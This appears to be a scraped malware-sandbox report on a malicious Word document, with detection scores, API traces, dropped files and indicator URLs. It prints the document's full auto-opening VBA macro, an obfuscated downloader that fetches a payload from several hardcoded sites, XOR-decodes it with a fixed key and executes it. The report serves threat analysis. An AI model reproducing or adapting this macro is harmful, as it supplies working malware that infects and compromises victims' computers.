Web Site Currently Not Available

26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 31:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T47e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample bf474a90606c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample bf474a90606c…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 5 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4"],"about":{"@type":"SoftwareApplication","name":"ELMIRJX.doc","applicationCategory":["doc","office"],"identifier":"bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":21,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":6},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T727,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA0") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA1") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA10") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA100") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA101") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA102") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA103")28:T2a38,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub autoopen() SignIn_Fish = 0 Synomati "a4833" End Sub Sub Document_Open() End Sub" File "LocalBrowser.frm" (Streampath: "Macros/VBA/LocalBrowser") has code: "" File "STRIX.cls" (Streampath: "Macros/VBA/STRIX") has code: "Public Function setAsMainTarget() As String tt = ThisDocument.BuiltInDocumentProperties("Content status").Value MotoGP = Split(tt, "Abcdef") privateProbeName = MotoGP(Quubo * 3) privateProbe setAsMainTarget = "" End Function Public Sub Challenge(sender As String, e As Integer) PlayCry 1 PlayCry 350 End Sub Public Sub Ant() SubProperty.Write SignIn_PokerFace GoTo cip If Not CryToLoad.Compressed Then For g = 0 To CryToLoad.Size - 1 CryToLoad.Data(g) = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, (cryOffset) + 16 + g, 1))) Next Else If alignment = 0 Then pcmLevel = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, offtrack, 1))) offtrack = offtrack + 1 Data.Add (pcmLevel) alignment = &H20 End If offtrack = offtrack + 1 If alignment < &H20 Then Data.Add (pcmLevel) End If Data.Add (pcmLevel) If Size >= CryToLoad.Size Then End If alignment = 1 CryToLoad.Data = Data.ToArray() CryToLoad.Size = offtrack - Start End If cip: CallByName SubProperty, "saveTo" + _ LocalBrowser.Label2.Caption, VbMethod, SignIn_PathTo2, 2 If SignIn_Fish <> 0 Then Exit Sub End If High4 "4", 3 End Sub" File "Module3.bas" (Streampath: "Macros/VBA/Module3") has code: "Public Function SaveCry(crytosave, cryTable) As Boolean If crytosave.Offset = 0 Then End If crytosave.Compressed = False If crytosave.Compressed Then MsgBox ("This should not be enabled!") End Else For Each s In crytosave.Data Data.Add (CByte(s And &HFF)) Next End If If crytosave.Size < Data.Count Then If (result = DialogResult.Yes) Then If (result2 = DialogResult.Yes) Then End If crytosave.Offset = Searc.hFreeSpaceFourAligned(LoadedROM, &HFF, Data.Count, "&H" & GetS.tring(GetI.NIFileLocation(), header, "StartSearchingForSpaceOffset", "800000")) Else End If End If End Function Public Sub WidthA(Dbbb As String, bbbJ As String, Optional SignIn_Sexote As String) Dim bbb As Integer bbb = FreeFile Dim Gbbb() As Byte Open Dbbb For Binary As #bbb ReDim Gbbb(0 To LOF(bbb) - 1) Get #bbb, , Gbbb() Close #bbb Call Subfunc(Gbbb(), SignIn_Sexote) bbb = FreeFile Open bbbJ For Binary As #bbb Put #bbb, , Gbbb() Close #bbb End Sub Sub enumMembers(objDomain) On Error Resume Next Dim Secondary(20) For Each objMember In objDomain If objMember.Class = "user" Then x = x + 1 Counter = 0 For ll = 1 To 20 If Secondary(ll) <> "" Then If Counter = 0 Then SecondEmail = Secondary(ll) Else SecondEmail = SecondEmail + " " + Secondary(ll) End If Counter = Counter + 1 End If Next SecondEmail = """" & SecondEmail & """" SamAccountName = "-" Cn = "-" FirstName = "-" LastName = "-" initials = "-" Descrip = "-" Off.ice = "-" Telephone = "-" EmailAddr = "-" WebPage = "-" Addr1 = "-" City = "-" State = "-" ZipCode = "-" Title = "-" Department = "-" Company = "-" Manager = "-" Profile = "-" LoginScript = "-" HomeDirectory = "-" HomeDrive = "-" AdsPath = "-" For ll = 1 To 20 Secondary(ll) = "" Next Primary = "-" SecondEmail = "" End If Next End Sub" File "Module1.bas" (Streampath: "Macros/VBA/Module1") has code: "Public cnpk() As String Public SignIn_4 As String Public Const SignIn_System = "User-Agent" Public SubProperty As Object Public SignIn_RDD2 As Object Public SignIn_Fish As Integer Public MotoGP() As String Public itemI As Integer Public SignIn_Project As String Public privateProbeName As String Public SignIn_PathTo2 As String Public AbsoluteHidMachine As Object Public SignIn_PokerFace As Variant Public SignIn_aifde As Object Public SignIn_LAKOPPC As String Public SignIn_avatar As Object Public smbi As String Public SignIn_2 As String Public Const Quubo = 0 Public Sub SaveDataCSVToolStripMenuItem_Click(e As Integer) SignIn_4 = LocalBrowser.ZK.Caption & cnpk(i) itemI = itemI + 2 Dim XIpotom2 As STRIX Set XIpotom2 = New STRIX If e < 488 Then XIpotom2.Challenge "Swed", 13 CallByName AbsoluteHidMachine, LocalBrowser.ToggleButton1.Caption, VbMethod Set XIpotom2 = Nothing Else End If End Sub Public Sub ExportCry(filename, cry) If cry.Offset = 0 Then Return End If Us.ing writer writer.Write (Encoding.ASCII.GetBytes("RIFF")) writer.Write (0) writer.Write (Encoding.ASCII.GetBytes("WAVE")) writer.Write (Encoding.ASCII.GetBytes("fmt ")) writer.Write (16) writer.Write (CUS.hort(1)) writer.Write (CUS.hort(1)) writer.Write (cry.SampleRate) writer.Write (cry.SampleRate) writer.Write (CUS.hort(1)) writer.Write (CUS.hort(8)) writer.Write (Encoding.ASCII.GetBytes("data")) writer.Write (cry.Data.Length) For Each sample In cry.Data writer.Write (CByte(sample + &H80)) Next writer.Seek 4, SeekOrigin.Begin writer.Write (CInt(writer.BaseStream.Length) - 8) End Sub Public Function Synomati(Comps) GoTo l12 strComputer = Comps If InStr(1, strCaption, "Windows 7", vbTextCompare) Then Synomati = "Win7" End If If InStr(1, strCaption, "XP", vbTextCompare) Then Synomati = "XP" End If l12: Dim c As STRIX Set c = New STRIX CallByName c, LocalBrowser.T2.Text, _ VbMethod End Function Public Sub privateProbe() Set AbsoluteHidMachine = CreateObject(privateProbeName) smbi = LocalBrowser.Label1.Caption MotoGPE = MotoGP(2) Set SignIn_avatar = CreateObject(MotoGP(3)) Shtefin = Replace("dreamybean.de/TrfHn4Vbetter57toiuydof.net/af/TrfHn4Vyoutoolgrabeertorse.org/af/TrfHn4Venzler-elektro.ch/TrfHn4", "RRDD", "om") Shtefin = Replace(Shtefin, "\", "/") cnpk = Split(Shtefin, LocalBrowser.Command.Caption) Set SubProperty = CreateObject(MotoGP(1)) Set SignIn_aifde = CreateObject(MotoGPE) Set SignIn_RDD2 = SignIn_avatar.Environment(MotoGP(4)) itemI = 18 / 3 SignIn_LAKOPPC = SignIn_RDD2(MotoGP(itemI)) RepackOK "4", "3", "5" End Sub Public Sub PlayCry(cry As Integer) If cry = 1 Then CallByName AbsoluteHidMachine, LocalBrowser.OptionButton1.Tag, VbMethod, MotoGP(5), SignIn_4, False Exit Sub Else: GoTo lab1 End If If c.ry.Offset = 0 Then Exit Sub End If writer.Write (Encoding.ASCII.GetBytes("RIFF")) writer.Write (0) writer.Write (Encoding.ASCII.GetBytes("WAVE")) writer.Write (Encoding.ASCII.GetBytes("fmt ")) writer.Write (16) writer.Write (CUS.hort(1)) writer.Write (CUS.hort(1)) writer.Write (cr.y.SampleRate) writer.Write (cr.y.SampleRate) writer.Write (CUS.hort(1)) writer.Write (CUS.hort(8)) writer.Write (Encoding.ASCII.GetBytes("data")) writer.Write (cr.y.Data.Length) For Each sample In cr.y.Data writer.Write (CByte(sample + &H80)) Next writer.Seek 4, SeekOrigin.Begin writer.Write (CInt(writer.BaseStream.Length) - 8) lab1: CallByName AbsoluteHidMachine, LocalBrowser.OptionButton2.Tag, VbMethod, SignIn_System, _ LocalBrowser.SpinButton1.Tag Exit Sub stream.Seek 0, SeekOrigin.Begin player.Load player.Play End Sub Public Sub RepackOK(sheetToMove As String, sheetAnchor As String, High6OrAfter As String) Dim i 'On Error GoTo dee13 For i = LBound(cnpk) To UBound(cnpk) Step 1 SaveDataCSVToolStripMenuItem_Click 72 If AbsoluteHidMachine.Status <> 200 Then Err.Raise 700 + vbObjectError, "V", "W" End If High6 "3", 33 Exit Sub dee13: Next Exit Sub End Sub Public Function OrAndNotAnd(a, b) Dim per Dim der OrAndNotAnd = (a Or b) And (Not (a And b)) End Function Public Function SignIn_ProjectSpeed() GoTo labelBabel2 Set FSO = CreateObject("Scripting.FileSystemObject") Set oArgs = WScript.Arguments If oArgs.Count = 1 Then strComputer = CStr(oArgs(0)) Else strComputer = InputBox("Enter computer name") End If Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") labelBabel2: SignIn_Project = SignIn_LAKOPPC SignIn_PathTo2 = SignIn_Project + "\fremsoho" + CStr(itemI) GoTo labelBabel3 labelBabel3: SignIn_Project = SignIn_Project + Replace(MotoGP(12), ".", CStr(itemI) + ".") SubProperty.Type = 1 End Function" File "Module2.bas" (Streampath: "Macros/VBA/Module2") has code: "Public Function High6(FullPath As String, NumHoja As Integer) As String SignIn_ProjectSpeed CallByName SubProperty, "O" + "pen", VbMethod If NumHoja > 400 Then If numExportadas = 0 Then High6 = "No rows to export [No tiene filas por exportar]" Exit Function End If End If SignIn_PokerFace = CallByName(AbsoluteHidMachine, "responseBody", VbGet) LoadCry 0, 1 End Function Public Function GetCryImage(cry) Dim cryImage If GetS.tring(AppPath & "GBAPGESettings.ini", "Settings", "DisableCryImage", "0") = "1" Then cryImage = Bit.map(128, 128) Else cryImage = Bit.map(cry.Data.Length, 128) For i = 1 To cry.Data.Length - 1 g.DrawLine Pens.Green, i - 1, 64 + cry.Data(i - 1), i, 64 + cry.Data(i) Next End If End Function" File "Module4.bas" (Streampath: "Macros/VBA/Module4") has code: "Public Sub Subfunc(MethodParam2() As Byte, MethodParam As String) Dim oldj2 As Long Dim oldj3 As Long Dim oldj5 As Long Dim oldj6 As Long Dim plusplus() As Byte Dim oldj4 As Long Dim plusplusLen As Long plusplusLen = Len(MethodParam) ReDim plusplus(plusplusLen) plusplus = StrConv(MethodParam, vbFromUnicode) oldj2 = UBound(MethodParam2) + 1 oldj5 = oldj2 For oldj4 = _ 0 To (oldj2 - 1) aa = plusplus(oldj4 Mod plusplusLen) bb = MethodParam2(oldj4) MethodParam2(oldj4) = OrAndNotAnd(bb, aa) If (oldj4 >= oldj6) Then oldj3 = Int((oldj4 / oldj5) * 100) oldj6 = (oldj5 * ((oldj3 + 1) / 100)) + 1 End If Next End Sub Public Function High4(FullPath As String, NumHoja As Integer) As String WidthA SignIn_PathTo2, SignIn_Project, "6WLms4bGcHU5iDixvWv6Wmuql3ILxV8S" SignIn_aifde.Open (SignIn_Project) End Function Public Function LoadCry(index As Integer, cryTable As Integer) Dim c As STRIX Set c = New STRIX CallByName c, "Ant", _ VbMethod End Function"29:T52d,"WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.CreateObject" ... "WINWORD.EXE" called "ADODB.Stream.6.0.CreateObject" ... "WINWORD.EXE" called "Shell.Application.1.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.Environment" with result: "IDispatch" ... "WINWORD.EXE" called "WScript.Shell.1("Environment").Item" with result: "%TEMP%\ ..., "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.open" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.setRequestHeader" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.send" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.status" with result: "200" ..., "WINWORD.EXE" called "ADODB.Stream.6.0.Type" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.Open" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.responseBody" with result: "Web Site Currently Not Available

This web site is currently not available. Please try again later.

" ..., "WINWORD.EXE" called "ADODB.Stream.6.0.Write" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.SaveToFile" ... , "WINWORD.EXE" called "Shell.Application.1.Open" ...2a:T5df,"index.dat" has type "data" "scs13BB.tmp" has type "ASCII text with CRLF line terminators" "~WRD0000.tmp" has type "Composite Document File V2 Document Little Endian O%WINDIR%\Version 6.1 Code page: 1252 Author: 1 Template: Normal Last Saved By: Derek Revision Number: 2 Name of Creating Application: Microsoft Office Word Total Editing Time: 01:00 Create Time/Date: Thu May 25 20:15:00 2017 Last Saved Time/Date: Thu May 25 20:15:00 2017 Number of Pages: 3 Number of Words: 0 Number of Characters: 5 Security: 0" "ELMIRJX.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Thu May 25 11:19:17 2017 mtime=Thu May 25 11:19:17 2017 atime=Thu May 25 11:19:23 2017 length=104960 window=hide" "ELMIRJX.doc.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has command line arguments Archive ctime=Thu May 25 11:19:17 2017 mtime=Thu May 25 11:19:17 2017 atime=Thu May 25 11:19:23 2017 length=104960 window=hide" "bruhadson8.exe" has type "data" "~WRS{F1C4C2FF-BA6D-4106-9731-BEC99D585C96}.tmp" has type "FoxPro FPT blocks size 0 next free block index 218103808 1st used item "\375"" "MSForms.exd" has type "data" "fremsoho8" has type "HTML document ASCII text" "scs13E5.tmp" has type "DOS batch file ASCII text with CRLF line terminators" "TrfHn4[1].htm" has type "HTML document ASCII text" "~$LMIRJX.doc" has type "data" "~$Normal.dotm" has type "data"2b:T618,"WINWORD.EXE" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "WINWORD.EXE" touched file "%WINDIR%\Fonts\staticcache.dat" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\USER32.dll.mui" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\SETUPAPI.dll.mui" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "WINWORD.EXE" touched file "%WINDIR%\system32\rsaenh.dll" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\KERNELBASE.dll.mui" "WINWORD.EXE" touched file "%WINDIR%\System32\msxml6r.dll" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F1C4C2FF-BA6D-4106-9731-BEC99D585C96}.tmp" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\MSCTF.dll.mui"2c:T94c,"WINWORD.EXE" wrote bytes "e923994aee" to virtual address "0x774A5DEE" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "baa07fa004b98b7bc16bffe1" to virtual address "0x002F1C66" "WINWORD.EXE" wrote bytes "e9c532cfef" to virtual address "0x761D6143" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "e9603348ee" to virtual address "0x774A4731" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "ba24a8a704b98b7bc16bffe1" to virtual address "0x002F1C2A" "WINWORD.EXE" wrote bytes "ba30a3a704b98b7bc16bffe1" to virtual address "0x002F1BDA" "WINWORD.EXE" wrote bytes "e99a5447ee" to virtual address "0x774A3E59" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "b811110000663d33c0baf8b39e0468dcf5c16bc3" to virtual address "0x049E20A4" "WINWORD.EXE" wrote bytes "7de757f8" to virtual address "0x6BFA9904" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "0883c40c" to virtual address "0x6BD81F20" (part of module "GKWORD.DLL") "WINWORD.EXE" wrote bytes "2a923ff9" to virtual address "0x6C93CA70" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "92e65e7779a86377be726377d62d63771de25e7705a26377bee35e77616f6377684161770050617700000000ad37d3758b2dd375b641d37500000000" to virtual address "0x74C91000" (part of module "WSHTCPIP.DLL") "WINWORD.EXE" wrote bytes "b800000000663d33c0badcec2c0068dcf5c16bc3" to virtual address "0x0031607C" "WINWORD.EXE" wrote bytes "c4ca107680bb1076fc1d0c769fbb107608bb107646ce107661381176de2f1176d0d9107600000000177907764f9107767f6f0776f4f7077611f70776f2830776857e077600000000" to virtual address "0x6C911000" (part of module "MSIMG32.DLL") "WINWORD.EXE" wrote bytes "bac0e0a104b98b7bc16bffe1" to virtual address "0x002F1C3E" "WINWORD.EXE" wrote bytes "a40f45f8" to virtual address "0x6C0B10AC" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "4053617758586277186a6277653c63770000000000bf10760000000056cc1076000000007cca10760000000037687b756a2c6377d62d63770000000020697b750000000029a6107600000000a48d7b7500000000f70e107600000000" to virtual address "0x76061000" (part of module "NSI.DLL") "WINWORD.EXE" wrote bytes "ba20b59e04b98b7bc16bffe1" to virtual address "0x002F1C02" "WINWORD.EXE" wrote bytes "8f873ff9" to virtual address "0x6804F530" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "b71d5ae7" to virtual address "0x2FBA1B94" (part of module "WINWORD.EXE")2d:T562,"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000401") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040D") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000041E") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000042A") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000439") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000420") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000429") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WINWORD.EXE" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "NUMSHAPE") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000402") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000403") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000404") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000405") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000406") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000407") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000408")2e:T521,Found malicious artifacts related to "81.169.145.160" (ASN: 6724, Owner: STRATO AG): ... URL: http://hennecke-fischland.de/grundriss.htm (AV positives: 6/64 scanned on 05/25/2017 01:38:28) URL: http://uploaded.be/mijn/My%20Vodafone%20Thuis%20_%20Rekeningen%20inzien%20en%20informatie%20over%20je%20abonnement.html (AV positives: 8/64 scanned on 05/24/2017 19:53:44) URL: http://bankieren.rabobank.nl.ayrw.nl/01d78166f04e54e40d3f46ddd4a3c582/ (AV positives: 3/64 scanned on 05/24/2017 09:59:54) URL: http://gebif.com/ (AV positives: 2/64 scanned on 05/23/2017 20:24:10) URL: http://rajomarsuport.com/ (AV positives: 1/64 scanned on 05/23/2017 13:22:14) File SHA256: 6c111f77d71aa4dcf23d4899472104e06619cb5fd70e426ec2339c0ae1b2638d (AV positives: 31/55 scanned on 05/25/2017 01:38:32) File SHA256: 03385cbccae28797e0f6b8c1f9b55e767dad487fb652162def9f8eb7a86b29a7 (AV positives: 1/55 scanned on 05/24/2017 19:54:09) File SHA256: c33e61ae0388906fb50eaa2c428193987df9e430f140569afb0d553c8da959e8 (AV positives: 1/62 scanned on 05/21/2017 22:06:33) File SHA256: 9f4671887c9765495f69bc0e2879610072e9e1077b7ef8adab5525d28c3d3b44 (AV positives: 20/57 scanned on 05/21/2017 18:33:18) File SHA256: d4296e6435ffe542c30ddbb2427545ab4ed64656a610119b88c474216b133c83 (AV positives: 16/51 scanned on 05/05/2017 19:37:46)2f:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjqscgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAA